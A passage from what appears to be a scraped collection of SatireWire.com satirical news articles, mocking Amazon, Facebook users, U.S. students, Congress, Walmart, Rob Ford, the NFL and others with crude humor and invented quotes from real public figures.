The children, 15-year-old Aiden, 16-year-old Marissa, and Donnie, 19, agree they probably have dialed it back. “I’m back home from college, I sleep late, then go out with my friends,” said Donnie. “So because it’s Christmas, I haven’t really had the opportunity to tell anyone in my family to fuck off.” “It doesn’t seem right to say fuck off to your parents at this time of year,” said Marissa. “Christmas is about giving, and I know if I give them too much shit, I won’t get what I want. Because they’re assholes.” But perhaps 15-year-old Aiden has taken the message of Christmas most to heart. He hasn’t told anyone to fuck off, or indeed spoken to anyone in his family, since Christmas Eve, when he locked himself in his room. “That’s Jesus at work right there,” said Maria. '], ['no-topic', 'ANGRY AT WASTING $ ON VITAMINS, AMERICANS TURN TO LOTTERY TIX', 'CHICAGO (SatireWire.com) – From antibacterial soap to vitamins, Americans across the country are outraged that they’ve been wasting their hard-earned money on something not guaranteed to work, said Americans across the country waiting in line to buy lottery tickets. "I\'m not buying antibacterial soap now unless there\'s a reason, like they print lottery numbers on them," said one upset Mega Millions player. “If you pay for something, you expect, at a minimum, some kind of result,” said Glen Carsgrove of Bentwood, Ill., as he approached the counter of a Quik-Stop Food Mart to purchase Mega Millions tickets. “It’s like these companies are taking advantage of me, hoping I don’t see what they’re up to. Well forget it. I’m not stupid. “Gimme five quick picks,” he added to the clerk, handing over a $5 bill. Like Carsgrove, lottery players were reacting to recent reports that multi-vitamins do not provide lasting benefits and antibacterial soaps are not more effective than regular soap. “What’s the point in buying a product that says ‘antibacterial’ if it’s not antibacterial?” asked Kyle Worley, of Brooklyn, N.Y., as he waited to buy a ticket that had the word ‘Millions’ on it. “Am I supposed to just hope it works? Like I would buy something based on hope. Right.” The vitamin study, published in the Annals of Internal Medicine and entitled, “Enough is Enough: Stop Wasting Money on Vitamin and Mineral Supplements,” really set off Janice Freely of Portland, Maine, as she purchased $20 in lottery tickets. “As I understand it, these all-in-one vitamins might help, like, one in a million people,” said Freely as she stood next to a sign explaining that the odds of winning the Mega Millions jackpot were 1 in 259 million. “One in a million! You don’t spend your money on something at one in a million.” At the Gallatin, Tenn., Snappy Mart, 69-year-old Annabelle Taylor said she barely survives on her Social Security check and can’t afford to waste it. “In a way I’m glad to hear those things don’t work,” she said. “I’m going to take the $10 a month I spend on vitamins and put it somewhere useful. “I’ll take five quick-picks and a scratch-off,” she added to the clerk. '], ['no-topic', 'NEW AMAZON STRATEGY RANDOMLY CHARGES YOUR CREDIT CARD', "SEATTLE (SatireWire.com) – Breaking new ground yet again, online pioneer Amazon today unveiled a revolutionary plan to streamline the transaction process by randomly charging stuff to your credit card whenever it wants. Amazon customers will now see a message like this whenever they log in. Or even if they don't. The new approach will drastically reduce the time it takes to shop online by eliminating the proverbial middleman, said Amazon CEO Jeff Bezos. “Every sale has three elements: the retailer, the customer, and their bank account,” Bezos explained. “With our random ‘Arbitransaction’ process, we simply eliminate the middleman — the customer — and go straight to the their bank account.” Retail experts immediately hailed the strategy as “simple,” “innovative,” and “very probably illegal.” While admitting consumers may experience a “certain amount of inconvenience” by receiving products they didn’t order, Bezos insisted the issue will be offset by savings. “If you normally spend an hour searching for an item, reading the reviews and comparing prices, we’ve saved you an hour right there,” he said. “That frees you up to do other things. Like return the items.” Amazon’s controversial system will also save consumers money, Bezos maintained. “The average American earns $24.10 an hour,” he said. “By eliminating that hour-long search for products, we’ve saved you $24. So if we charge you $240 for a Cuisinart food processor, the real cost is just $216.” And that’s just the beginning, the Amazon chief added. “If you imagine you spent, say, 10 hours searching for the right food processor, you’re getting that $240 Cuisinart for free!” he said. And what if you don’t want a food processor? “C’mon, who wouldn’t want a free food processor?” Bezos replied. The retail guru said the idea came about after the company looked at its internal processes and found room for improvement. “At Amazon, we’ve already cut ordering time with ‘1-click’ checkout and we plan to reduce delivery time with drones, but what we hadn’t done was reduce the amount of time you spend actually looking for a product,” he explained. “But now, by randomly charging you for items without your involvement, we eliminate the time you have to spend searching.” Amazon calls the sales “Arbitransactions,” but government officials call them something else: illegal. “You can’t make people pay for things they don’t want,” said Edith Ramirez, chairwoman of the Federal Trade Commission. “Except cable television. I still can’t figure out why I have to pay for The Golf Channel and VH1 Classics to get Comedy Central.” Ramirez vowed to file a lawsuit against Amazon if it goes through with its plans, which she called “fraudulent at best.” But Bezos downplayed the threat, vowing to personally resolve the issue with the FTC chair, “whose Visa card expires on 12/16 and ends in 6398,” he noted. "], ['no-topic', 'HACKED FACEBOOK ACCOUNTS MAY EXPLAIN BILLIONS OF INANE POSTS', 'NEW YORK, N.Y. (SatireWire.com) – Investigators who discovered hackers stole millions of user passwords from Facebook and other web sites said today account hijacking may finally explain the massive number of mind-numbing Facebook posts that appear on the site every day. "What real person would post this?" said cyber experts. “It’s clear that malicious individuals have gotten into these accounts and, posing as the real users, posted the most useless and arbitrary things they could think of,” said CyberPicket CEO Marvin Distin. “How else would you explain a post like, ‘Another pretty sunset’ or ‘Went shopping today?’ Ordinary people wouldn’t do that. Obviously. It must be the work of some twisted hackers who get a sadistic kick out of filling the Internet with nothing.” The stolen usernames and passwords from Facebook, Twitter and others, found on a server in the Netherlands, come from around the globe and have been collected over several years, according to CyberPicket. Facebook said it has reset the passwords for users whose accounts were compromised, but researchers are suspicious of that claim. “It’s not fixed because these inane posts keep appearing,” said Distin. “Things like, ‘Eating breakfast at the Waffle House just outside Charlotte.’ ‘Looking forward to the weekend!’ These hackers must think we’re stupid.” As an example, Distin cited a recent post by Facebook user Kent Siboben of Lindale, Ill., who posted a picture of his new mailbox and wrote ‘New mailbox!’ above it. “I’m sure Mr. Siboben would never do that himself,” Distin said. However, reached via phone, Siboben admitted that he had posted the image. “Yeah, that was my new mailbox,” he said. “I thought it was, well, I don’t know what. Hey, a bunch of people ‘liked’ it.” “My God, this is worse than I thought,” responded Distin. “The hackers have even infiltrated user phone numbers and are pretending to be actual people.” According to security experts, the majority of hacked accounts found on the server had “absurdly simple” passwords associated with them, the most common being “123456,” followed by “123456789,” “1234,” “password” and “12345.” While some have suggested this is how hackers got into the accounts in the first place, Distin said it is more likely the infiltrators simplified the passwords. “Actual people – those who knew anything about the Internet, anything at all – would never use ‘password’ as a password,” he said. “No, the hackers must have gotten in and changed the passwords to make it appear as if there are literally millions of incredibly moronic people on the Internet. Fortunately, this is so far from reality that we can see right through it.” '], ['no-topic', 'U.S. STUDENTS SAY MATH TESTS UNFAIRLY INCLUDE MATH QUESTIONS', 'WASHINGTON D.C. (SatireWire.com) — U.S. high school students, whose recent math and science scores again fell behind their international peers, claim the tests are inherently unfair as they include questions on math and science, neither of which is their strong suit. “These so-called measurements are ridiculous,” said Joey Vronem, a high school junior from Lakeland, Fla. “If you test us on science, and you ask questions with too much science in them, then of course we’re not going to do well. What we need are non-science questions. Then we’ll do better in science.” "It would also help if all the answers were \'B,\'" said one student. In the newly released Program for International Student Assessment (PISA) tests, which measure math, science, and reading ability among 15-year-olds in 65 countries, the U.S. ranked 29th in math and 23rd in science. Asian students once more outscored most other nations, which U.S. high schoolers insisted was a clear sign the tests are skewed to reward those who excel in those subjects. “Of course students from Asia are going to do better at, say, math, because they’re already better at math,” said Colorado junior Ian Aveny. “Asking them math questions is like asking me ‘my favorite color’ questions. I bet I’d do better on that than they would.” However, U.S. Secretary of Education Arne Duncan insisted changing the tests would not be possible. “Math and science tests — by definition — need to include math and science,” Duncan said. “If they don’t, we’re not really measuring how well we’re doing in those areas.” “Because the questions are biased,” responded Tanya Jenkins-Barge, a Wooster, Ohio high school student. “Let’s see how those other countries do if you ask math and science questions about ‘The Hunger Games’ or ‘How I Met Your Mother.’” The U.S., she added, does much better in reading, placing 9th on the PISA test. “What that tells me is the math and science tests should have more reading,” she said. “Then we’ll see improvement. Oh, it would also help if all the answers were, like, ‘B.’ Just sayin’.” '], ['no-topic', 'JFK: PLEASE STOP FOCUSING ON THE WORST DAY OF MY LIFE', 'By the late President John F. Kennedy (SatireWire.com) – So, today the entire country is observing the 50th anniversary of the day I was assassinated. In other words, out of every day I was on Earth, out of every day I was in office, you people focus on the single worst day of my life. Thanks. Thanks so much. Seriously, what is wrong with you? I appreciate being remembered, but I had lots of better days, right? Days when I wasn’t, oh, I don’t know, shot in the head. I had several of those days, thinking back on it. In fact, I can recall 1,035 other days when, as President and Commander in Chief, I wasn’t shot in the head. June 2, 1962. February 20, 1963. How about September-frigging-9, 1961? Pick one. Any one. I don’t care. But no, you fixate on the day I die. I mean, Lincoln was shot in the head, but you don’t make a big deal out of April 14, do you? No, instead you celebrate his birthday. You made it a national holiday. That’s kind of normal, by the way. That kind of makes sense. That’s not, in other words, the creepiest thing ever. My birthday was May 29, for the record. Bet you didn’t know that. Because I didn’t die that day. Gosh, my bad. Instead I died Nov. 22, and on that day, all across the country, you hold ceremonies and give speeches and show video clips, and worse, you drag out people to talk about where they were and how they felt when I was assassinated. “It was a horrible, horrible moment,” someone said. “I really never felt like America was the same after that.” This is actually from CNN\'s home page. But no, you\'re not "celebrating" my death. Right. Yeah well me neither. Cause I wasn’t in it after that. So why don’t we focus on one of the days when I was in it? Why is that so difficult? And please don’t tell me you’re “not celebrating my death but remembering my life.” Just today President Obama declared this a Day of Remembrance to “celebrate” my enduring imprint on American history. That’s great. Remind me to celebrate your presidency by throwing a party on the anniversary of the day the Obamacare web site opened. Tell you what, Garfield was lucky. He got shot, but there wasn’t any video. Same for McKinley. They never have to relive their worst days. OK, they’re not famous – which still pisses McKinley off, but screw him. At least he isn’t remembered for taking a bullet. Today I heard some eyewitness say they cried when it happened, and I appreciate that, I really do. It’s very moving. But then they said they felt like they were part of the whole experience, “just by being there.” Really? You were part of it? Which part? The part that came out of my head? Sorry, that was uncalled for. But hey, if you’re going to focus on this day, you might as well “remember” Lee Harvey Oswald’s birthday. I’m surprised you don’t. Nowadays he gets almost as much airtime as me. Even I’m sick of seeing him get shot at that police station, and I hate the guy. Hey, maybe that’s it. Maybe you actually, deep down, hate me? That would explain this obsession. That would explain why you take the most depressing day ever – for me at least – and basically turn it into a national holiday. Did I remember to thank you for that? If that’s not it, then please, God, pick another day. Or hey, pick no day. I really don’t care, because being remembered for nothing is better than being remembered for being shot. And that’s what it’s all about. I’ll prove it. You know what the lead story was on CNN about my “enduring” legacy? Not the space race or civil rights or the Cuban Missile Crisis or even the Bay of Pigs. It was about whether or not I was assassinated by a conspiracy. I’ll tell you what the conspiracy is: you’re all colluding to ruin my afterlife. Seriously, you people are sick. '], ['no-topic', 'NOW YOU CAN EAT THANKSGIVING DINNER AT WALMART', 'BENTONVILLE, ARK. (SatireWire.com) – An unapologetic Walmart today announced Black Friday sales will begin during Thanksgiving dinner and invited customers to eat the meal in their stores, arguing that spending the holiday with rude, ill-dressed, socially awkward strangers is just like being with your family anyway. Company officials said a turkey dinner with all the trimmings will start at just $29.95 for a family of four and will be served on specially adapted scooter carts, allowing diners to carom through the aisles enjoying both supper and steep, steep discounts on electronics, home furnishings and clothing. Acknowledging some shoppers may hesitate, the company said it will make every effort to recreate the feel of an annual family gathering. To that end, instead of piping in holiday Muzak, stores will play a continuous loop of “Uncle Walt” making vaguely racist comments, Cousin Trudy getting drunk and swearing about her ex-husband, and a typical 3-year-old cousin complaining that “grandma smells funny.” The decision effectively pushes ever-creeping Black Friday up to noon on Thursday, a controversial change that critics said demeans Thanksgiving but Walmart officials said was inevitable. “I hate to break it to you, but Black Friday keeps moving in on Thanksgiving because Americans want it to,” said company spokesman William Ramsey. “And they want it to because most of us have a closer relationship with our credit cards than with our loved ones.” Paying homage to Thanksgiving’s pilgrim heritage, elderly Walmart greeters will dress in colonial garb, some of them wearing the same outfits they had as young adults nearly 400 years ago. Cashiers, meanwhile, will be dressed as giant pumpkins, sweet potatoes and squash, which didn’t sit well with employees at a Walmart in St. Louis, Mo. “God, could anything possibly be more humiliating than this?” asked one store cashier as she was handed a giant yellow gourd costume. “How about, ‘Spending Thanksgiving at Walmart?’” her boss replied. “Good point,” the cashier said. Walmart said it will not enforce a Thanksgiving dress code for customers, but does request that women come in their formal halter tops while men should at least wash their toupees. '], ['no-topic', 'FORD ADMITS HE ALSO MIGHT HAVE MURDERED GUY IN DRUNKEN STUPOR', 'TORONTO (SatireWire.com) – Embattled Toronto Mayor Rob Ford today admitted to smoking crack cocaine “in one of my drunken stupors,” but refused to resign, insisting he has many types of drunken stupors and will not let his “crack cocaine” drunken stupors interfere with his everyday “being mayor” drunken stupors. Mayor Ford said his admission "lifted a 1000-lb. weight off my shoulders," leaving him at only 400 pounds. Speaking during one of his “impromptu press conference” drunken stupors, Ford, for the first time, confirmed suspicions of drug use seen in a secret videotape. “Yes, I have smoked crack cocaine,” Ford said. “Probably in one of my drunken stupors, probably approximately about a year ago.” But the Mayor denied lying about crack use in the past, saying reporters had failed to be specific with their questions. “Before, when you asked if I had tried crack, I thought you meant, ‘Have I tried crack in one of my other drunken stupors, like, say, one my murderous drunken stupors?’ And obviously I hadn’t. I only murder during those.” Stunned by the revelation, reporters asked Ford if he had ever murdered anyone. The Mayor quickly became annoyed. “I can’t answer that question, can I?” he said. “I’m not in one of my murderous drunken stupors. I don’t know if I murdered someone. Maybe I did. About a year ago. But I don’t know.” “Right now I’m in one of my public apology drunken stupors,” he continued. “I don’t murder during those. Obviously. All I can do is apologize and move on.” Ford then turned on his heels, saying he planned to resume his “regular everyday being mayor” drunken stupors in the morning. “If anyone needs me,” he added, “I’ll be in one of my, ‘sitting alone in my office angrily watching porn” drunken stupors.” Ford’s admission caused a wellspring of calls for him to step down, but aides say this will not happen unless the Mayor’s adversaries happen to catch him during a “public good” drunken stupor. '], ['no-topic', 'FROM OBAMACARE TO ABE-OLITION: LANDMARK LAW ROLLOUT FAILURES', '(SatireWire.com) — Americans are furious over the inept rollout of Obamacare, but landmark legislation has a history of early backfires. Even the Emancipation Proclamation stuttered, initially succeeding only in emancipating a horse and a couple of chickens. 1863 Emancipation Proclamation — “Abe-olition” Republican President Abraham Lincoln’s executive order freed an estimated 3.1 million slaves in the Confederacy which, according to his Democratic opponents, made it the “biggest jobs-killing government program of all time.” Lincoln’s initial response to the criticism — “Well, I think that’s the point” — certainly didn’t do him any favors with free-market Democrats. Opposition Democrats insisted slaves would rather free themselves than depend on government-sponsored freedom. Thanks to printing “glitches,” the Proclamation freed Southern slaves but inadvertently required free Northern blacks to choose a master within six months or pay a fine. Initially, the law stated that those laboring less than 30 hours a week were considered part-time slaves and therefore were eligible only for part-time freedom, prompting hundreds of plantation owners to reduce slave work-hours to avoid having to provide full-time freedom. This provision was later removed, although plantations owning 50 or fewer slaves were exempt for the first year. Similar to the Obamacare launch, not everyone eligible for Abe-olition was able to obtain it. Then-Secretary of Newly Designated Humans Services, Cathcart Theopholis, blamed the Confederacy, but later admitted the administration’s early test runs had succeeded only in emancipating a horse and a couple of chickens. Unfriendly news outlets like the New York Sun purposely muddied the waters by reporting that Lincoln was not offering to free the slaves, but was offering free slaves. The President quickly quashed the rumor, which lost him the support of New Englanders, a remarkably hardy and penurious people who detested slavery but hated missing out on a deal even more. 1883 Pendleton Act — “Chester Arthronage” Signed by Republican President Chester Arthur, the Pendleton Act declared that government jobs should be awarded, not as patronage, but based solely on merit. Democrats in Congress, 56 percent of whom said they had never heard of Chester Arthur, nonetheless opposed the law, calling it the, “biggest people-doing-lousy-jobs-killing government program of all time.” Despite the obvious advantages of awarding government positions only to highly qualified individuals, the law has never been applied. 1890 Sherman Antitrust Act — “Benjamin Harrisocialism” The Sherman Antitrust Act, signed by Republican President Benjamin Harrison, was the first U.S. law to take on big business by banning anticompetitive practices and limiting cartels and monopolies. A grass-roots group of everyday mining tycoons and railroad magnates immediately worked to repeal the law, which they said would be hardest on the working poor, and shot as many as 200 workers a day to prove it. Democratic opponents called the Act the “biggest dangerous-and-low-paying-jobs-killing government program of all time.” In a heroic speech, Democratic Sen. John Kenna of West Virginia filibustered the bill for 24 hours while seated in a bathtub full of clean, sweet-smelling Standard Oil. Not unlike the pace of Obamacare, it was 10 years before the Act was actually enforced, but eventually it was, which is why companies like Microsoft, Google, Comcast and JP Morgan Chase don’t exist today. 1906 Federal Meat Inspection Act — “Teddy Roosevegetarianism” The Federal Meat Inspection Act, signed by Republican President Teddy Roosevelt, ensured that animals were slaughtered and processed under sanitary conditions and required meat to be correctly labeled. Democratic opponents called it the “biggest disgusting-jobs-killing government program of all time.” Rep. Bibble’s famous “Meat hook filibuster” The Act provoked riots as the public feared the law would drive up meat prices. The protests were quelled after producers assured them that they hadn’t been selling genuine meat since 1861. In a heroic speech dangling above the House floor, Rep. Winston Bibble, (D-OH), filibustered the bill for 36 hours while hanging from a meat hook. He stopped only after Republicans voted to put a bolt through his head. Bibble’s body was labeled as pork and served in the House cafeteria. Americans were so horrified by bloody slaughterhouse depictions in Upton Sinclair’s “The Jungle” – the novel that inspired the law — that it was several months before they could muster the energy to slaughter another Native American tribe. The 19th Amendment, 1920 — “Woodrow Wilsuffrage” Signed by Democratic President Woodrow Wilson, the 19th Amendment to the U.S. Constitution said the right of citizens to vote could not be “denied or abridged on account of sex.” Despite the chauvinism of the time, the amendment was surprisingly popular among men, primarily because Wilson told them the law meant only women who had sex with them could vote. In the backlash that followed, Republicans in the House of Representatives threatened to repeal the amendment until their wives asked if they’d like to be known ever after as “The Blue Ball Congress.” The threats were rescinded. Thanks to female participation, 8 million more votes were cast in the election of 1920 than in 1916. Polling places were overwhelmed and ill equipped to handle the stress. The New York Plutocrat wrote: “The curtains around the voting both do not reach to the floor, enabling all and sundry to observe, unobstructed, the ankles of the lady voters. For shame!” 1935 Social Security Act — “FDRfare” Providing a safety net for older and unemployed Americans, the Social Security Act, signed during the Great Depression by Democrat Franklin D. Roosevelt, was blasted by Republican opponents as the “biggest no-one-has-a-job-but-if-they-did-this-would-kill-them-jobs-killing government program of all time.” Like Obamacare, the administration was taken by surprise by the program’s popularity, explaining that the eligibility age was set at 65 because they assumed people that age were already dead. Officials were left with egg on their faces, which only further angered the public, which wondered how the hell they could afford eggs in this economy. Republicans opposed to big government voted to repeal the law 42 times before they realized older people tend to vote conservative and would swell their popularity. The paradox is remembered in a heroic speech on the House floor by Rep. Eldridge Harp, (R-MI), who filibustered himself for 48 hours until starving elderly spectators in the gallery ate him. '], ['no-topic', 'U.N. TAKING APPLICATIONS FOR ‘GREATEST NATION ON EARTH’ JOB', 'NEW YORK, N.Y. (SatireWire.com) – The United Nations today admitted it has begun accepting applications for the job of “Greatest Nation on Earth,” a position the United States seems intent on losing. The UN is looking to fill the job internally but has circulated this ad to members. While the U.N. does not publicly discuss personnel matters, sources inside the organization revealed the U.S. has received numerous written and verbal warnings about its job performance, forcing the world governing body to consider finding a replacement. “We didn’t want to make it a big public thing, but yeah, we’re interviewing,” said a U.N. official, speaking on condition of anonymity. “The truth is, the U.S. has been really unreliable lately. Distracted. Acting all crazy, to be honest. “Based on recent performance, we still believe the United States is exceptional,” he added. “However, we now believe it is ‘exceptional’ in the way you might say a disabled person is ‘exceptional.’” While many Americans were not surprised, some expressed outrage at the news, insisting civilization would run aground without the U.S. at the helm. “People can say whatever they want, but we are the envy of the world,” said U.S. Rep Louie Gohmert, (R-TX). “We are God’s gift to mankind!” “Yeah, see what I mean?” the U.N. official responded. “It’s like America has gone all Kanye on us.” A personnel file leaked to the media makes the case for replacing the U.S., which has held the post of Greatest Nation since at least the end of World War II. The report notes America is only the 15th most democratic nation and is 16th in adult literacy, 26th in child health, 22nd in freedom of the press, and 27th in infant mortality, life expectancy, and gender equality. Its education, it is 25th in math, 17th in science and 14th in reading. The U.S. did, however, rank first in anxiety disorders, prison population, and cheese production. Unfortunately, a U.N. source said, there is no position titled, “Cheesiest Nation on Earth.” While conceding America is not up to its old standard, one European colleague, who often works with the U.S., counseled patience, saying America’s performance at work stems from problems at home. “I shouldn’t say this, but I happen to know that for the last several years, America has been hearing… voices,” the colleague said. “Really strange, scary voices.” “This is poppycock,” responded former Alaska governor Sarah Palin on Fox News. “America has been the greatest country on Earth since those brave pilgrimen and pilgrimwomen landed at Jamestown in Philadelphia and helped the Indians build the totem to freedom that is the Washington Monument and said, ‘We’re not going to take anymore of this here tyrant tea because it’s not star-spangled so you better give us liberty or you’ll see the whites of our eyes!” “Yeah, that would be one of the voices,” the U.N. co-worker confirmed. Sources at the U.N. High Commission on Human Resources said they hope to fill the post internally, if they have to find a replacement. “To be honest, we’re kind of hoping the U.S. turns it around,” the source said. “I mean, who knows, America could always come back.” “Ted Cruz 2016!” responded Sen. Mike Lee, (R-UT). “Or, you know, maybe not,” the U.N. source conceded. '], ['no-topic', 'U.S. OFFERS TO WASH DISHES, MOW LAWNS TO PAY OFF BILL', 'WASHINGTON, D.C. (SatireWire.com) – In an effort to reassure nervous creditors, the U.S. today unveiled a backup plan for paying off its debts, promising to wash 100 trillion dishes as well clean out Taiwan’s attic, babysit for Switzerland, and mow China’s lawn for, like, a year. “Seriously, there’s lots of things we could do to make up what we owe,” said Treasury Secretary Jack Lew, who outlined Plan B in a conference call with creditor nations. “Brazil has a ton of leaves we could rake. In Russia, we could shovel snow because with the Olympics coming up they’ll need those sidewalks… wait wait wait… hear me out. What if we wash dishes? Cheap? Ten 10 cents apiece. If we did 100 trillion of them, that would be $10 trillion right there. “We’d do an exceptionally good job,” Lew added. “Remember, we’re an exceptional country.” The U.S. faces defaulting on its $16.7 trillion debt if Republicans in Congress don’t agree to raise the debt ceiling by Thursday. Economists and business executives have warned of dire consequences for America’s creditworthiness, but the White House insisted it could wipe out a large chunk of debt by cleaning Hong Kong’s gutters ($120b), walking the U.K.’s dogs ($157b), and polishing Japan’s silverware ($1.1 trillion). The offer to mow the lawn of America’s largest non-U.S. creditor, China ($1.3 trillion), was reportedly well received, although the Chinese said they wanted weeding thrown in. And the U.S. would have to bag the clippings. Talks between Secretary of State John Kerry and Taiwan, which holds $186 billion in U.S. debt, were not going as well. KERRY: We could program your VCRs. TAIWAN: We’re pretty good at electronics, thanks. KERRY: We could organize your record collection. TAIWAN: Our what collection? KERRY: How about we take over your paper route? TAIWAN: Seriously, how old are you? While saying Plan B was not finalized, the Obama administration said it has already refused an “obscenely lurid” job suggestion from oil-producing nations to settle their $285 billion bill. “The Saudis wanted us to, let’s say, sit on their laps, and frankly we said no,” Kerry explained. “Actually, I’ll do it,” said Sen. Lindsay Graham (R-SC). “For, you know, the good of the country.” '], ['no-topic', 'CONGRESS FITTED WITH CONDOM SO IT CAN SCREW AMERICA SAFELY', 'WASHINGTON, D.C. (SatireWire.com) – Public health officials sheathed the Capitol Dome in a 55,000-square-foot latex condom today, explaining that if Congress is going to screw the country, it should at least do so responsibly. While the legislative branch has a long history of sticking it to the American public, the nation has recently been taking it nonstop from Congress and something had to be done, said Benjamin Kleve, Engineer of the Capitol. “It’s always been bad, but these Tea Party people alone are like rabbits,” said Kleve. “We can’t stop them because legally it’s consensual — we elected them — but we felt they could at least do the responsible thing and put a lid on it.” That “lid” is an impressive, 1.3-million-cubic-liter latex prophylactic that encases the 288-foot-tall structure and has already been nicknamed, variously, the ConDome, the FillUpBuster, the Boehner Bonnet, the Cruz Missile Silo, Erection Reform, the Helmet of Representatives, the Everlasting Polstopper, the Incumbarrier, the Gerrymanskin, the Sequestraightjacket, and SCROTUS Interuptus. Detractors argue condoms will only encourage Congressional behavior and suggest preaching abstinence to subdue the legislative libido. But Health and Human Services Secretary Kathleen Sebelius called that unrealistic. “We’re not talking about rational human beings here,” Sebelius said. “Abstinence won’t work. I mean, think about how excited they get just by saying the word, ‘No.’” Protection, Sebelius added, is the only solution. “There are 320 million Americans Congress is screwing. Just think of all the diseases they could get from those lawmakers,” she said. “And of course prophylactics also protect against unwanted pregnancy, and the last thing we need is more unwanted, unloved congressmen running around.” In all, Congress spent $9 million on the first shipment of 400 ConDomes, equivalent to the cost of Head Start programs halted during the government shutdown. In other words, said Kleve, “They’re screwing us while they’re screwing us. If nothing else, you have to admire their stamina.” Legislators did not, however, appropriate funds to have the condoms ribbed, Kleve added, “Since Congress doesn’t really care how Americans feel and the public isn’t supposed to enjoy it anyway.” '], ['no-topic', 'GIDDY GOP NOW WANTS REPEAL OF CIVIL RIGHTS ACT, TREATY OF GHENT', 'WASHINGTON, D.C. (SatireWire.com) – Giddy after successfully shutting down government over a 2010 health care law they dislike, Republicans today said the White House must also now agree to repeal the 1964 Civil Rights Act, the National Banking Act of 1863, and the Northwest Ordinance of 1787. House leaders also promised to stand firm on the Diet of Worms, if necessary. If President Obama consents to the new terms, House Speaker John Boehner, (R-OH), said his caucus will likely vote to again fund the government, unless the President also refuses to renegotiate the Treaty of Ghent, which ended the War of 1812. “People blame us for the shutdown, but the President has to meet us halfway,” said Boehner. “And by halfway we mean repeal Obamacare, then overturn the Civil Rights Act, then, um, tear up the Treaty of Ghent because that was a disaster. We should have gotten Ontario.” “Also, we want the Second Amendment to be moved up one, so it’s the First Amendment,” noted Rep. Louie Gohmert, (R-TX). “I would like to shut down the government if I have a cold,” added Rep. Tom Graves, (R-GA). White House spokesman Jay Carney said the President will not give in to the GOP, whose refusal to pass a spending bill led to Tuesday’s shutdown. Carney insisted Obamacare is just an excuse to fulfill the Tea Party’s long-term goal of closing the federal government. At a press conference Wednesday, Republican leaders denied the charges. “Just because we’ve threatened to shut down the government before over different issues doesn’t mean these aren’t important,” said Sen. Rand Paul, (R-KY). “What about the Civil Rights Act, which outlawed discrimination and led to Barack Obama being President? That was bad. What about the National Banking Act of 1863, which created the federal banking system and has the word “federal” in it? Horrible. And the Northwest Ordinance gave us places like Michigan and Ohio, which in the last election voted for Barack Obama. Do I need to explain that to anyone?” “I wasn’t asking you,” Rand added to Rep. Michelle Bachmann, (R-MN), who had raised her hand. If the White House still won’t budge, Iowa Republican Rep. Steve King said the President will have no one to blame but himself. “People say we’re holding a gun to the President’s head and have taken the American people hostage, but that’s just not true,” said King. “We’re holding a gun to the President’s head and saying he’s taken the American people hostage. All he has to do to end the ordeal is give in. “If you think about it, he’s just like a rape victim,” King noted. “He brought it on himself.” '], ['no-topic', 'CONGRESS RECLASSIFIES MISSISSIPPI RIVER AS PLANET', 'WASHINGTON, D.C. (SatireWire.com) — In attempt to refute accusations it has lost touch with reality, Congress today reclassified the Mississippi River as a planet and gave itself until midnight tonight to find the nation’s tallest pigeon. Congress as seen from the rest of America. “People say we have no idea what we’re doing and are ridiculously irresponsible,” said House Speaker John Boehner, (R-OH). “But if that were true, would I be standing before you today, at this vital moment, dressed as a German soldier and hopping on one foot while blinking the lyrics of ‘Call Me Maybe’ in Morse Code? I don’t think so.” “Rocks are a vegetable,” he added. With a government shutdown looming over disagreements on Obamacare and the federal budget, lawmakers from both parties insisted they are fully capable of dealing with the crisis head-on. “We have until Tuesday to fund the government, which is why it’s so important that we spend every second until then attempting to locate, identify, and, if possible, photograph a pigeon of excessive height,” said Senate Majority Leader Harry Reid, (D-NV). “If we fail to do that, the nation’s economy could fall back into recession, which is why we’ve also re-classified the Mississippi River as a planet, just to be safe.” House Majority Leader Eric Cantor, meanwhile, said the American people want solutions, not arguments, which is why he believes Congress should spend $420 million on toiletries for bears. “I’ve listened to the American people, I’ve heard their pleas for compromise and calm, and from that I take it that the best way to avoid a crisis is to keep the nation’s bears clean and fresh smelling.” In just two weeks, another crisis looms as Congress grapples with the White House over lifting the debt ceiling. Sen. Rand Paul, (R-KY), however, said Congress will react just as the American people would expect. “By mid-October, carrots will be legal tender in Vermont,” he explained. '], ['no-topic', 'NFL PLAYERS MAY FACE HATE CRIMES FOR TARGETING UNIFORM COLOR', 'NEW YORK, N.Y. (SatireWire.com) – Nearly 700 National Football League players may be charged with federal hate crimes after they purposely attacked and subdued adversaries last weekend based solely on the color of their uniforms. The FBI has suggested that all NFL teams switch to a periwinkle shade, "because everybody likes periwinkle." In a statement, the NFL immediately called the charges absurd, arguing players, “need to wear different colors to identify an opponent.” But anti-hate crime groups mocked that explanation. “Oh, right. They need to use color to identify the opponent,” scoffed Justine Kimbel of the ACLU’s Hate Crimes Task Force. “Just like Jews needed to wear the Star of David during the holocaust. Just like the Ku Klux Klan needed to wear white to separate them from non-whites.” In all, the FBI identified 698 players, most on defense and special teams, who it says may have violated federal statutes against intolerance during week 2 of the NFL season. In particular, officials said players appearing in “the wrong color,” particularly those carrying or throwing the football, were assaulted and, in numerous cases, “dragged to the ground and smothered.” “It is quite clear that, on a regular basis, individuals and groups are being attacked for reasons directly related to the color of their attire,” said Jenna Carmichael, special agent in the FBI’s Hate Crimes Division. “Not only is it targeting based on color, but also targeting based on clothing, which is often used as an ethnic and cultural identifier.” Denver Broncos running back Knowshon Moreno said the accusations should be a wake-up call for his colleagues. “Every week I get attacked, not because I’m carrying the football, but because I’m orange,” said the fifth-year tailback, whose team wears orange and blue. “Think about it. They don’t attack someone in their color with the football, do they? “I’m not asking for anything special,” Moreno added. “I just want to be free to go forward, to advance, to succeed. Orange people are people too.” Other players, however, were unapologetic. “We’re red and black. They’re blue and gold,” said Atlanta Falcons cornerback Robert McClain, explaining his aggressive behavior toward the St. Louis Rams last Sunday. “You step out on that field, you’re blue and gold, I’m gonna take your head off. Simple as that. “That doesn’t mean I hate them because of their color,” he added. “I just want to hurt them because of what their color represents. It means they’re different. It means they’re not us. It means… oh.” '], ['no-topic', 'U.S. DIPLOMAT EXPLAINS WHY SYRIAN CIVILIANS MUST KEEP DYING', '(SatireWire.com) – U.S. State Department transcript of a cell phone call between Palmer Greavey, Under Deputy Secretary for the Assistant Secretary of the U.S. Deputy Undersecretary of State for Middle Eastern Affairs, and a 29-year-old civilian identified as Hassam. GREAVEY: Hello, Mr. Hassam is it? This is Palmer Greavey, Under Deputy Secretary for the Assistant Secretary of the U.S. Deputy Undersecretary of State for Middle Eastern Affairs. I understand you’re a Syrian civilian currently being bombed by the Assad regime, and you have a question? HASSAM: Yes. I have a question about the agreement between the U.S. and Russia. Syrian civilians holding up their part of the agreement. GREAVEY: 